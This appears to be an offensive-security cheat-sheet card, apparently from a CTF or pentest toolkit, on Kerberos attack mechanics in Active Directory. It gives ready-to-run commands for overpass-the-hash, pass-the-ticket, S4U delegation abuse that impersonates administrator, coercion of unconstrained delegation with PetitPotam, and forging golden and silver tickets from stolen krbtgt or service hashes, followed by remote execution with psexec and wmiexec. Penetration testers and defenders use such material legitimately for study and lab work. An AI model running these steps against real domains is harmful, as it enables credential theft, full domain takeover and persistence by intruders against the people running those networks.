kerberos — tickets, tokens & the -k dance#
The auth mechanics behind the AD kill-chain: how tickets are requested, stored and
replayed. Roasting, DCSync and ADCS live in cheat ad — this card is the plumbing
underneath them (ccache handling, -k flows, delegation, forged tickets). Most
tools read the DC from $TARGET and the ticket from $KRB5CCNAME.
How it flows (why -k works)#
kinit / getTGT ──▶ TGT (krbtgt) "who you are" → saved to a .ccache
└── getST / auto ─▶ TGS (service) "what you can use" → for cifs/http/… SPN
KRB5CCNAME points at the .ccache; every tool with -k -no-pass reads it.
- TGT = identity, issued by the KDC. TGS/ST = per-service ticket (
cifs/dc,http/web), what you actually present to a host. -k -no-passmeans "don't send a password — use the ticket in$KRB5CCNAME". No ccache exported ⇒ Kerberos silently fails.
Get a ticket#
impacket-gettgt <domain>/<user>:<pass> -dc-ip <dc>—getTGT.py; writesuser.ccache. With-hashes :<NT>instead of:pass= overpass-the-hash (NTLM → full TGT).impacket-gettgt <domain>/<user> -aesKey <key>— request with an AES key (stealthier; RC4 downgrade is watched).impacket-getst -spn cifs/<host> <domain>/<user>:<pass> -dc-ip <dc>—getST.py; request a service ticket directly.- Native:
kinit user@DOMAIN.HTB(uppercase realm) →klistto inspect ·kdestroyto clear.
Use the ticket — pass-the-ticket#
ptt <ticket.ccache> [target]— prints the replay lines (it does not export — run theexportit prints):
export KRB5CCNAME=<ticket.ccache> # the cache -k reads
psexec.py -k -no-pass <t> wmiexec.py -k -no-pass <t>
netexec smb <t> -k --use-kcache evil-winrm -i <t> -r <domain> # -r = realm
- Add
-dc-ip/-target-ipwhen DNS is broken. Connect by hostname, not IP — the SPN iscifs/dc01, and an IP has no SPN (KRB_AP_ERR_...).
Ticket file conversions#
| Have | Want | Command |
|---|---|---|
.kirbi (Rubeus/Windows) |
.ccache (impacket) |
ticketConverter.py in.kirbi out.ccache |
.ccache |
.kirbi |
ticketConverter.py in.ccache out.kirbi |
| base64 blob | file | base64 -d <<<'…' > t.kirbi |
S4U — delegation abuse#
Turn a delegation edge (BloodHound flags it) into a ticket as any user:
- Constrained / RBCD:
impacket-getst -spn cifs/<target> -impersonate administrator '<domain>/<svc>:<pass>' -dc-ip <dc>→ yieldsadministrator.ccache→pttit. - Unconstrained: capture a TGT with
krbrelayx/ coerce (PetitPotam,printerbug) → the DC's TGT lands in your cache → DCSync (cheat ad).
Forge a ticket (post-DCSync)#
Needs a secret you already stole — this is persistence, not a foothold.
- Golden (own
krbtgthash → any user, any service):
ticketer.py -nthash <krbtgt-NT> -domain-sid <S-1-5-21-…> -domain <dom> administrator
export KRB5CCNAME=administrator.ccache && psexec.py -k -no-pass <dc>
- Silver (own a service account hash → that one service only, no KDC contact — quieter):
ticketer.py -nthash <svc-NT> -domain-sid <sid> -domain <dom> -spn cifs/<host> <user>. -domain-sidcomes fromlookupsid.pyornxc … --rid-brute.
When Kerberos "randomly" breaks#
| Symptom | Cause → fix |
|---|---|
KRB_AP_ERR_SKEW |
clock drift → ntpdate <dc> (or faketime, or sudo rdate -n <dc>) |
KDC_ERR_S_PRINCIPAL_UNKNOWN |
connected by IP / wrong SPN → use the hostname, add to /etc/hosts |
KDC_ERR_PREAUTH_FAILED |
bad password/hash, or account needs pre-auth |
| tool ignores your creds | -k set but $KRB5CCNAME empty/stale → echo $KRB5CCNAME, re-export |
KDC_ERR_ETYPE_NOSUPP |
RC4 disabled → request with -aesKey |
Mental model: TGT = who you are, TGS = what you can touch,
$KRB5CCNAME= which ticket is live. When-kmisbehaves,echo $KRB5CCNAMEandklistbefore anything else — 90% of "Kerberos is broken" is an empty cache or a skewed clock. Roasting & DCSync that produce these tickets:cheat ad. Replaying hashes without Kerberos at all:pthincheat ad/cheat nxc.